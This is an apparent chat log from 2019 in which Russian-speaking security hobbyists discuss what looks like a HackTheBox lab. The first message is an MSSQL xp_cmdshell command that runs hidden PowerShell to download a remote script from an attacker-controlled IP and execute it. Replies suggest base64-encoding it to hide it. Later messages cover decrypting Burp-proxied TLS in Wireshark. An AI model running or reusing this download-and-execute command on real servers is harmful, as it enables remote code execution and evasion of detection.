D
exec xp_cmdshell "powershell -noprofile -w hidden -c 'iex ((new-object net.WebClient).DownloadFile("http://10.10.14.106:8000/in.ps1"))'";Size: a a a
2019 June 10
D
-enc
Ja ja,+ b64 encode
a
powershell создан специально для малвары
D
powershell создан специально для малвары
По подвальным проектам анб
a
а xp_cmdshell еще в реальной жизни бывает?
PI
а xp_cmdshell еще в реальной жизни бывает?
д
PI
судя по айпишнику, это хтб)
PI
заверни в б64
D
а xp_cmdshell еще в реальной жизни бывает?
Д
D
В банках бывает все)
2019 June 12
A
ого
ага
e
всем привет! когда проксируешь HTTPS через burp, как-нибудь можно получить сессионный ключ TLS, чтоб скормить его уже в wireshark?
R
а приватный ключ берпа в wireshark не импортнуть?
e
а где его взять?
2019 June 13
K
Сгенерировать selfsigned сертификат через openssl, а затем скормить его берпу, а ключ от него,соответственно шарку. Но тут есть нюанс: В берпе надо будет отключить в настройках ssl все edhe-шифры (т.к. в них шифрование ведётся на основе diffie-hellman)
e
Спасибо!
e
Попробую
